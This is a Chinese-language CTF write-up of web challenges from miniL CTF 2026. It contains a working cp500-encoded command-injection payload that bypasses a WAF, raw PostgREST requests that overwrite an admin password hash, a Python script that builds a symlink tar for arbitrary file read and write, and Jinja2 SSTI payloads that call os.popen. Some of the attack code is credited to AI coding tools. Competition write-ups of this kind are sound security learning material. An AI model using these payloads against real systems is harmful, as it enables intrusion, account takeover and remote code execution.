miniL CTF 2026 WriteUp // By PatriciaOfEnd
Web
EzPing // solved
审查 js ,注意到提示:
1 2 3 4 5 6 7 8
| const response = await fetch('/api/ping', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ target: target }) });
|
猜测后台 WAF 拦截恶意 Payload 的原理是 ASCII 码匹配。
注意到在 EBCDIC 编码中,我们需要用到的 ; 的编码和其它常见的(gbk,big5,utf-16等)不同。
用 cp500 编码 ;cat /flag 即可。
1 2 3 4 5 6 7
| import urllib.request
url='http://127.0.0.1:62876/api/ping' payload='{"target":"127.0.0.1;cat /flag"}'.encode('cp500') req=urllib.request.Request(url,data=payload,headers={'Content-Type':'application/json; charset=cp500'}) print(urllib.request.urlopen(req).read().decode())
|
HDphp // stuck
PHP LFI 题目。
1 2 3 4 5 6 7
| <?php if (isset($_GET['f']) && !preg_match('/flag|file|php|data|zip|phar|(proc|dev|bin|usr|var).{15,}/i', $_GET['f'])) { usleep(200000); include $_GET['f']; } else { highlight_file(__FILE__); }
|
对用户输入进行了严格的过滤。
注意到唯一和用户输入挂钩的函数就是 include $_GET['f'] 。查阅 PHP 的用户手册 https://www.php.net/manual/zh/function.include.php 。
考虑到靶机应该不出网,尝试在靶机上构建一个 PHP 马并且通过 include 进行文件包含。
在互联网上查阅有关 include 文件包含的题目,发现一篇疑似有利用价值的 WriteUp :
https://www.cnblogs.com/sen-y/p/15579072.html
考虑是条件竞争漏洞。
1 2 3 4 5 6 7 8
| 利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
1.简单来说,上面这个选项开启以后,上传文件,我们能够POST请求查看上传进度 2.我们在session中写入我们要执行的代码 3.用户可以自己定义Session ID,比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag,我们能够命名'sess_'后面的名字 4.之后要执行就要包含这个session文件 5.默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,就会清除进度信息 6.于是我们需要条件竞争来读取文件,所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码,在文件上传中很常见
|
但尝试对靶机发送 POST 请求包返回 405 Method Not Allowed ,怀疑不是这个利用方法。
https://www.smal1.black/PHP%20LFI%E2%89%88RCE%EF%BC%9F%EF%BC%81.html#Nginx-%E4%BA%A7%E7%94%9F%E4%B8%B4%E6%97%B6%E6%96%87%E4%BB%B6
做了半拉。
博丽神社的御神签 // solved
扫 fingerprint 注意到 Werkzeug/3.1.8 Python/3.11.14 。后台尝试用 admin 爆破弱口令没结果。
抽个签抓个包读到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| GET /rest/v1/omikuji_entries?select=fortune_number%2Ccharacter_name%2Cfortune_type%2Csubtitle%2Cability%2Cpoem_lines%2Cnote_blocks&fortune_number=eq.41 HTTP/1.1 Host: ip:port sec-ch-ua-platform: "Windows" authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYW5vbiJ9.ViljdzyyGxp5hJt9XN8WTlLTvo0F92XEqovEeSE1zRo Accept-Language: zh-CN,zh;q=0.9 sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140" sec-ch-ua-mobile: ?0 x-client-info: supabase-js-web/2.105.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 accept: application/vnd.pgrst.object+json accept-profile: public apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYW5vbiJ9.ViljdzyyGxp5hJt9XN8WTlLTvo0F92XEqovEeSE1zRo Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://ip:port/ Accept-Encoding: gzip, deflate, br Connection: keep-alive
|
换一下 eq.41 后面的数字,看前端返回报错信息,确定是 PostgreSQL 。
读网页源码确定 Supabase 提供 API 服务。形式为 RestAPI 。
查了一下 RestAPI 和 Supabase 的官方文档。
访问 GET /rest/v1/ HTTP/1.1 看到有一个 admins 表。
GET /rest/v1/admins?select=* HTTP/1.1 返回
1 2 3 4 5 6 7 8 9 10 11 12
| HTTP/1.1 200 OK Server: Werkzeug/3.1.8 Python/3.11.14 Date: Sun, 03 May 2026 06:50:15 GMT Date: Sun, 03 May 2026 06:50:15 GMT Server: postgrest/12.2.0 Content-Range: 0-0/* Content-Location: /admins?select=%2A Content-Type: application/json; charset=utf-8 Content-Length: 126 Connection: close
[{"id":1,"username":"reimu","password_hash":"$pbkdf2-sha256$240000$shrineledger$9k0t4oUmLbF5258OCkSCgLHCFswMNWUPeXt4NRv-5hw"}]
|
注意到了管理员账户和密码的 Hash 。
注意到文档 https://postgrest.postgresql.ac.cn/en/v12/references/api/options.html 中有提到 OPTIONS 方法。利用之,
1 2 3 4 5 6 7 8 9 10 11
| PS C:\Users\Patricia Of End> curl.exe "http://ip:port/rest/v1/admins" -X OPTIONS -i HTTP/1.1 200 OK Server: Werkzeug/3.1.8 Python/3.11.14 Date: Sun, 03 May 2026 06:44:59 GMT Date: Sun, 03 May 2026 06:44:59 GMT Server: postgrest/12.2.0 Access-Control-Allow-Origin: * Allow: OPTIONS,GET,HEAD,POST,PUT,PATCH,DELETE Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close
|
发现支持 PATCH 方法。考虑直接扔一个弱口令的 Hash 上去,然后用其登录之。
提问 llm 可知这种形式的 Hash :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| › 形如 $pbkdf2-sha256$240000$shrineledger$9k0t4oUmLbF5258OCkSCgLHCFswMNWUPeXt4NRv-5hw 的 Hash 可能如何得来?是否加盐了?
• 这是一个典型的 PBKDF2-SHA256 口令哈希串,格式大致是:
$pbkdf2-sha256$240000$shrineledger$9k0t4oUmLbF5258OCkSCgLHCFswMNWUPeXt4NRv-5hw
可以拆成几部分:
- pbkdf2-sha256:使用的算法是 PBKDF2-HMAC-SHA256 - 240000:迭代次数是 240000 - shrineledger:这是盐值 - 9k0t4oUmLbF5258OCkSCgLHCFswMNWUPeXt4NRv-5hw:最终派生出的哈希结果,通常是某种 base64 变体编码
是否加盐了
- 是,加盐了。 - 这里的盐就是 shrineledger。
|
用同一个 salt 生成了一个 123456 的 Hash 。还是交给 llm 。
1 2 3 4 5 6 7 8
| • 用本机现成的 passlib 算出来了,结果是:
- 123456 → $pbkdf2-sha256$240000$c2hyaW5lbGVkZ2Vy$XiJNqiWA1LWpmzEd8zwPFyy6ytEClHys4xykKhqrobY
补充两点:
- 你给的原串是:$pbkdf2-sha256$240000$shrineledger$9k0t4oUmLbF5258OCkSCgLHCFswMNWUPeXt4NRv-5hw - passlib 生成时会把盐按其格式编码,所以第三段显示成了 c2hyaW5lbGVkZ2Vy,它其实就是 shrineledger 的 Base64 表示。
|
但这个直接 PATCH 上去还是有问题。我们试着把 c2hyaW5lbGVkZ2Vy Base64 decode 一下发现可以了,服务器端存的 salt 应该是明文。
$pbkdf2-sha256$240000$shrineledger$XiJNqiWA1LWpmzEd8zwPFyy6ytEClHys4xykKhqrobY
我们 PATCH 上去:
1 2 3 4 5 6 7 8
| PATCH /rest/v1/admins?username=eq.reimu HTTP/1.1 Host: ip:port Content-Type: application/json Prefer: return=representation Connection: close Content-Length: 102
{"password_hash":"$pbkdf2-sha256$240000$shrineledger$XiJNqiWA1LWpmzEd8zwPFyy6ytEClHys4xykKhqrobY"}
|
即可用 reimu:123456 登入后台。博丽灵梦太坏了怎么用弱口令
登入后台这里 @CopperKoi 采用了伪造 Flask session 的方法,我草真是🐉👃啊到底谁是非预期呢
注意到上传时接受文件类型为 .tar 等,传了一坨垃圾上去发现会直接解(压)到 /app/static 下。
推测可以传 symlink 达到任意读/写。
Codex 编写 exploit 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import argparse import tarfile
def make_symlink_tar(output_path: str, link_name: str, target: str) -> None: with tarfile.open(output_path, "w") as tar: info = tarfile.TarInfo(link_name) info.type = tarfile.SYMTYPE info.linkname = target info.mode = 0o777 tar.addfile(info)
def main() -> None: parser = argparse.ArgumentParser(description="Create a tar containing a symlink entry.") parser.add_argument("-o", "--output", default="rootfs.tar", help="output tar file") parser.add_argument("-n", "--name", default="rootfs", help="symlink name inside tar") parser.add_argument("-t", "--target", default="/", help="symlink target") args = parser.parse_args()
make_symlink_tar(args.output, args.name, args.target) print(f"[+] wrote {args.output}") print(f"[+] symlink: {args.name} -> {args.target}")
if __name__ == "__main__": main()
|
打包 .tar 传上去之后有 /app/static/rootfs -> / 的符号链接。即有任意读写。
读了一下 /tmp 下可能存在的常见 flag 名读不到,考虑是随机的 flag 名,需要进一步利用(RCE)。
考虑覆盖模板进行 Flask Jinja2 SSTI 即可。此部分交给 Codex ,不再赘述。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| - 第一阶段上传:只创建 symlink - 上传一个 tar,里面只有: - templates -> /app/templates - 这个 symlink 会被解到 /app/static/templates - 第二阶段上传:写恶意模板 - 再上传第二个 tar,里面是普通文件: - templates/index.html - 因为第一次已经让 /app/static/templates 变成了指向 /app/templates 的 symlink - 第二次 tar -xf ... -C /app/static 在解析 templates/index.html 时,会跟随这个已存在的 symlink - 实际写入位置就变成: - /app/templates/index.html - 触发 SSTI - 首页路由 / 会 render_template("index.html") - 所以访问 http://ip:port/ 时,就会执行我写进去的 Jinja 模板
我实际写进去的 SSTI payload
- 第一次用来列 /tmp:
<pre>{{ cycler.__init__.__globals__.os.popen('find /tmp -type f 2>/dev/null | sort').read() }}</pre>
- 第二次改成直接读 flag:
<pre>{{ cycler.__init__.__globals__.os.popen('cat /tmp/therealflag_741eba084e81852981943c4d081c9287 2>/dev/ null').read() }}</pre>
|
?!附加挑战!?
1 2 3
| class Misc extends PatriciaOfEnd { public $challenge = 'Obviously Nothing Here'; }
|